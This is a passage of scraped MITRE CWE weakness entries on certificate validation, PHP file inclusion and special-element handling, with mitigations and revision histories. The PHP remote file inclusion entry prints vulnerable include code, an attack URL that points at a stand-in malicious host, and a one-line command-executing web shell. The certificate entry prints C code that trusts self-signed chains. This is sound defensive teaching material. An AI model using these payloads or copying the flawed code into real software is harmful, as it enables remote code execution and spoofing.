[R.285.3] Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. <http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/>.
[R.285.4] [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[R.285.5] [REF-23] Rahul Bhattacharjee. "Authentication using JAAS". <http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html>.
[R.285.6] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39.. 1st Edition. Addison Wesley. 2006.
[R.285.7] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "ACL Inheritance", Page 649.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITREInternal
updated Relationships
2009-10-29CWE Content TeamMITREInternal
updated Type
2009-12-28CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Relationships
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships
2010-04-05CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, References, Relationships
2010-09-27CWE Content TeamMITREInternal
updated Description
2011-03-24
(Critical)
CWE Content TeamMITREInternal
Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29CWE Content TeamMITREInternal
updated Background_Details, Demonstrative_Examples, Description, Name, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Observed_Examples, Relationships
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Missing or Inconsistent Access Control
2011-03-29Improper Access Control (Authorization)

CWE-295: Improper Certificate Validation

Weakness ID: 295
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software does not validate, or incorrectly validates, a certificate.

Extended Description

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by using a man-in-the-middle (MITM) attack. The software might connect to a malicious host while believing it is a trusted host, or the software might be deceived into accepting spoofed data that appears to originate from a trusted host.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

Architectural Paradigms

Mobile Application

+ Common Consequences
ScopeEffect
Integrity
Authentication

Technical Impact: Bypass protection mechanism; Gain privileges / assume identity

+ Detection Methods

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Man-in-the-middle attack tool

Effectiveness: SOAR High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Observed Examples
ReferenceDescription
chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).
Verification function trusts certificate chains in which the last certificate is self-signed.
Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA)
Web browser does not check if any intermediate certificates are revoked.
Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.
Mobile banking application does not verify hostname, leading to financial loss.
Cloud-support library written in Python uses incorrect regular expression when matching hostname.
Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.
Smartphone device does not verify hostname, allowing spoofing of mail services.
Application uses third-party library that does not validate hostname.
Cloud storage management application does not validate hostname.
Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.
chain: incorrect calculation allows attackers to bypass certificate checks.
LDAP client accepts certificates even if they are not from a trusted CA.
chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
chain: product checks if client is trusted when it intended to check if the server is trusted, allowing validation of signed code.
Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
chain: OS package manager does not check properly check the return value, allowing bypass using a revoked certificate.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

+ Background Details

A certificate is a token that associates an identity (principle) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory254Security Features
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory310Cryptographic Issues
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class693Protection Mechanism Failure
Research Concepts (primary)1000
ChildOfCategoryCategory731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
Weaknesses in OWASP Top Ten (2004) (primary)711
PeerOfWeakness BaseWeakness Base322Key Exchange without Entity Authentication
Research Concepts1000
ParentOfWeakness BaseWeakness Base296Improper Following of a Certificate's Chain of Trust
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant297Improper Validation of Certificate with Host Mismatch
Development Concepts (primary)699
Research Concepts1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness VariantWeakness Variant298Improper Validation of Certificate Expiration
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant299Improper Check for Certificate Revocation
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant599Missing Validation of OpenSSL Certificate
Development Concepts (primary)699
Research Concepts (primary)1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
+ References
Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security". 2012-10-16. <http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf>.
M. Bishop. "Computer Security: Art and Science". Addison-Wesley. 2003.
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Background_Details, Description
2012-05-11CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2012-12-28
(Critical)
CWE Content TeamMITREInternal
Converted from category to weakness class.
2013-02-21CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction, Type
2014-06-23CWE Content TeamMITREInternal
updated Observed_Examples
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2013-02-21Certificate Issues

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Weakness ID: 98
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

+ Alternate Terms
Remote file include
RFI:

The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion:

This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

+ Time of Introduction
  • Implementation
  • Architecture and Design
+ Applicable Platforms

Languages

PHP: (Often)

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Effectiveness: High

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

+ Demonstrative Examples

Example 1

The following code attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.

victim.php

(Bad Code)
Example Language: PHP 
$dir = $_GET['module_name'];
include($dir . "/function.php");

The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:

(Attack)
 
victim.php?module_name=http://malicious.example.com

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

(Bad Code)
 
system($_GET['cmd']);

An attacker could now go a step further in our example and provide a request string as follows:

(Attack)
 
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:

(Attack)
 
/bin/ls -l

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

+ Observed Examples
ReferenceDescription
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable variable in configuration script leads to file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP local file inclusion.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
Directory traversal vulnerability in PHP include statement.
Directory traversal vulnerability in PHP include statement.
PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.98.1] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.98.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phases: Architecture and Design; Operation

Strategy: Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phases: Architecture and Design; Implementation

Strategy: Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

Phase: Operation

Strategy: Environment Hardening

Set allow_url_fopen to false, which limits the ability to include files from remote locations.

Effectiveness: High

Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts1000
ChildOfCategoryCategory714OWASP Top Ten 2007 Category A3 - Malicious File Execution
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory727OWASP Top Ten 2004 Category A6 - Injection Flaws
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfWeakness ClassWeakness Class829Inclusion of Functionality from Untrusted Control Sphere
Development Concepts (primary)699
Research Concepts (primary)1000
CanPrecedeWeakness ClassWeakness Class94Improper Control of Generation of Code ('Code Injection')
Development Concepts699
Research Concepts1000
PeerOfWeakness ClassWeakness Class216Containment Errors (Container Errors)
Research Concepts1000
CanAlsoBeCompound Element: CompositeCompound Element: Composite426Untrusted Search Path
Research Concepts1000
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness BaseWeakness Base184Incomplete Blacklist
Research Concepts1000
CanFollowWeakness BaseWeakness Base425Direct Request ('Forced Browsing')
Research Concepts1000
CanFollowWeakness BaseWeakness Base456Missing Initialization of a Variable
Research Concepts1000
CanFollowWeakness VariantWeakness Variant473PHP External Variable Modification
Research Concepts1000
+ Relationship Notes

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.

Can overlap directory traversal in local inclusion problems.

+ Research Gaps

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPHP File Include
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
WASC5Remote File Inclusion
+ References
[R.98.1] [REF-32] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[R.98.2] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-12] Shaun Clowes. "A Study in Scarlet". <http://www.cgisecurity.com/lib/studyinscarlet.txt>.
[REF-13] Stefan Esser. "Suhosin". <http://www.hardened-php.net/suhosin/>.
Johannes Ullrich. "Top 25 Series - Rank 13 - PHP File Inclusion". SANS Software Security Institute. 2010-03-11. <http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-13-php-file-inclusion/>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Relationship_Notes, Research_Gaps, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Relationships
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Description, Name
2009-12-28CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction
2010-02-16
(Critical)
CWE Content TeamMITREInternal
converted from Compound_Element to Weakness
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Common_Consequences, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Type
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2013-02-21CWE Content TeamMITREInternal
updated Alternate_Terms, Name, Observed_Examples
2017-01-19CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11PHP File Inclusion
2009-05-27Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')
2013-02-21Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')

CWE-296: Improper Following of a Certificate's Chain of Trust

Weakness ID: 296
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.

Extended Description

If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.

In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.

There are several ways in which the chain of trust might be broken, including but not limited to:

  • Any certificate in the chain is self-signed, unless it the root.

  • Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.

  • An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.

  • The root certificate has been compromised or authorized to the wrong party.

+ Time of Introduction
  • Architecture and Design
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Non-Repudiation

Technical Impact: Hide activities

Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.

Integrity
Confidentiality
Availability
Access Control

Technical Impact: Gain privileges / assume identity; Execute unauthorized code or commands

Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.

+ Likelihood of Exploit

Low

+ Demonstrative Examples

Example 1

This code checks the certificate of a connected peer.

(Bad Code)
Example Languages: C and C++ 
if ((cert = SSL_get_peer_certificate(ssl)) && host)
foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))
// certificate looks good, host can be trusted

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or conducting a man-in-the-middle attack.

+ Observed Examples
ReferenceDescription
Verification function trusts certificate chains in which the last certificate is self-signed.
Chain: Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA).
Web browser does not check if any intermediate certificates are revoked.
chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
chain: incorrect check of return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
File-transfer software does not validate Basic Constraints of an intermediate CA-signed certificate.
Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
+ Potential Mitigations

Phase: Architecture and Design

Ensure that proper certificate checking is included in the system design.

Phase: Implementation

Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base295Improper Certificate Validation
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfWeakness ClassWeakness Class573Improper Following of Specification by Caller
Research Concepts1000
ChildOfCategoryCategory724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory948SFP Secondary Cluster: Digital Certificate
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
PeerOfWeakness BaseWeakness Base370Missing Check for Certificate Revocation after Initial Check
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to follow chain of trust in certificate validation
+ References
Martin Georgiev, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh and Vitaly Shmatikov. "The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software". 2012-10-25. <http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf>.
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Description, Name, Relationships
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITREInternal
updated Other_Notes
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2013-02-21CWE Content TeamMITREInternal
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, References, Relationships
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Demonstrative_Examples, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Failure to Follow Chain of Trust in Certificate Validation
2013-02-21Improper Following of Chain of Trust for Certificate Validation

CWE-167: Improper Handling of Additional Special Element

Weakness ID: 167
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is missing.
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Integrity

Technical Impact: Unexpected state

+ Observed Examples
ReferenceDescription
Extra "<" in front of SCRIPT tag.
Extra "<" in front of SCRIPT tag.
"<script" - probably a cleansing error
+ Potential Mitigations

Developers should anticipate that extra special elements will be injected in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

